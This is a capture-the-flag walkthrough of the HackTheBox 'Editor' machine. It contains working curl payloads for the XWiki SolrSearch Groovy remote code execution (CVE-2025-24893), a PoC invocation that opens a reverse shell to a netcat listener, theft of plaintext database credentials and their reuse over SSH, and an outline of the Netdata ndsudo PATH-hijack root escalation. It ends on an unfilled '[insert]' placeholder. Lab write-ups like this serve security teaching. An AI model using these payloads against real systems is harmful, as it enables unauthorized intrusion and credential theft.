HackTheBox — Editor Walkthrough

Editor — HackTheBox Walkthrough

Reconnaissance

I began with reconnaissance. After getting the target IP from Hack The Box, I ran an Nmap scan using -sV -p- --min-rate=1000 -v to quickly check all ports and grab service versions. This gave me a clear view of what was open and where to dig deeper.

The scan revealed three open ports: SSH on 22 running OpenSSH 8.9p1, a web server on port 80 using nginx 1.18.0, and another service on port 8080 running Jetty 10.0.20. This showed that in addition to SSH access, there were two web services available to enumerate, which would likely be the main entry points into the machine.

From the Nmap results above, I noticed the machine was serving multiple web services, so I added both wiki.editor.htb and editor.htb into my /etc/hosts file, pointing them to the target's IP. This ensured I could properly resolve and access the virtual hosts in the browser during enumeration.

After resolving the hostnames, I started with the main domain editor.htb. The page looked like a landing site for a product called SimplistCode Pro. It only contained basic marketing content and download buttons for .deb and .exe packages. There was no login, no forms, or any other interesting functionality exposed, so I ruled this domain out and moved on to the next one.

Moving on to wiki.editor.htb, I found it was running XWiki Debian 15.10.8. The version number was visible at the bottom of the page, and after a quick check I confirmed that this release was affected by a critical vulnerability, CVE-2025-24893. This appeared to be the main path forward for escalation.

CVE-2025–24893 Details:

Exploitation Stage

With the vulnerability identified, the next step was to test whether I could execute code through the SolrSearch endpoint. I started with a simple math payload as recommended in the advisory. Using curl, I requested the RSS feed while injecting Groovy code:

curl -s 'http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%20search%20text%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D' | grep -o 'Hello[^<]*'

The feed came back with Hello from search text:42, confirming that the server executed my injected Groovy code. This served as the basic "math test".

Once that worked, I moved on to something more useful: running a system command. This time I swapped the payload to execute id and piped the response through grep so the output would be clearer:

curl -s "http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22id%3A%20%22%20%2B%20%22id%22.execute%28%29.text.trim%28%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D" \
| grep -oP 'id:\s*[^<]+'

This time the feed returned uid=997(xwiki) gid=997(xwiki) groups=997(xwiki), confirming that I had code execution on the host as the xwiki user.

After confirming code execution with the curl payloads, I decided to make the process cleaner. Instead of pasting raw Groovy into the URL each time, I put together a small Python PoC script that automates everything. The script takes a target, sends the Groovy payload through the vulnerable SolrSearch endpoint, and then extracts the output using Base64 markers.

This makes running commands much easier, with no manual XML or RSS parsing. For example, running id becomes as simple as:

python3 xwiki_solr_rce.py --target http://wiki.editor.htb cmd --cmd "id"
or
python3 xwiki_solr_rce.py --target http://wiki.editor.htb cmd --cmd "whoami"

With the PoC script in place, I moved on to getting a shell. I started a listener on my machine with Netcat:

nc -lvnp 4444

Then I ran the exploit again, this time configured to launch a reverse shell back to my machine:

python3 xwiki_solr_rce.py --target http://wiki.editor.htb rshell 10.10.xx.x 4444

The connection was established, and I received the reverse shell.

I then upgraded it into a proper interactive TTY for easier use by spawning a bash shell with Python and adjusting the terminal settings:

python3 -c 'import pty; pty.spawn("/bin/bash")' ; export TERM=xterm ; stty rows 40 cols 120

Lateral Movement

I began some quick enumeration, since the goal was to move from a service account to a standard user account. One of the first things I usually check is /etc/passwd to get a sense of what users exist on the system.

cat /etc/passwd

Most entries were system accounts with no login shell, but one line was of particular interest:

This shows there is a user named oliver with a valid shell. I noted this, as it could be important for later lateral movement.

I then started enumerating the system for any sensitive configuration files. Since this machine was running XWiki, I checked its configuration directory under /etc/xwiki. One file in particular, hibernate.cfg.xml, stood out because XWiki uses Hibernate to connect to its database, and this file stores the connection username and password in plain text.

My first attempt was to use these credentials to log into MySQL, which was another service running in the background identified from the /etc/passwd contents. This worked, but after looking around I did not find anything useful.

Next, I tried the same credentials over SSH against the local user oliver. This time it worked, and I gained access to a user account and captured the user flag as a result, highlighting a credential reuse issue.

Privilege Escalation

After securing access as oliver, I attempted some initial privilege escalation checks. I transferred linpeas.sh to the machine via scp and ran it to see if it could highlight any clear vectors. The results did not reveal anything particularly useful.

From there, I switched to manual enumeration. I tested basic commands like sudo -l to check for misconfigurations, reviewed system binaries, and looked through common paths for potential privilege escalation opportunities. At this stage, none of these approaches produced anything promising, so I continued with further manual checks.

While continuing enumeration, I noticed a dedicated netdata account listed in /etc/passwd and through the netstat command, which indicated the service was installed and active. To confirm, I checked its unit with:

systemctl status netdata --no-pager

This showed that Netdata was running locally. From there, I wanted to identify whether it was listening on any ports. Based on documentation and netstat, Netdata typically runs on port 19999, so I confirmed with:

ss -plnt | grep 19999

Finally, I queried the port to gather more details:

curl -sI http://127.0.0.1:19999/ | head -n 5

This revealed the instance was running Netdata v1.45.2.

I checked whether this release had any known vulnerabilities. This version is affected by CVE-2024–32019, a privilege escalation flaw in the ndsudo tool.

The issue lies in the way ndsudo handles the PATH environment variable. Since it runs with the SUID bit set and executes certain system commands as root, an attacker can manipulate the search path so that ndsudo ends up running a malicious binary instead. This allows local users to escalate privileges to root.

According to the advisory, the vulnerability is patched in v1.45.3 and v1.45.2–169, but since the current box was still running v1.45.2, it remained exploitable. This was the escalation path I pursued.

I went searching for a working proof-of-concept and found a public PoC on GitHub that demonstrated how to abuse this flaw using a simple binary replacement. The process was straightforward: compile a custom nvme binary, place it in a writable directory, and adjust the PATH variable so that when ndsudo attempts to run its expected helper command, it executes the malicious one instead. Since ndsudo runs with SUID root, the payload executes with full privileges, providing a direct path to escalate to root.

[insert]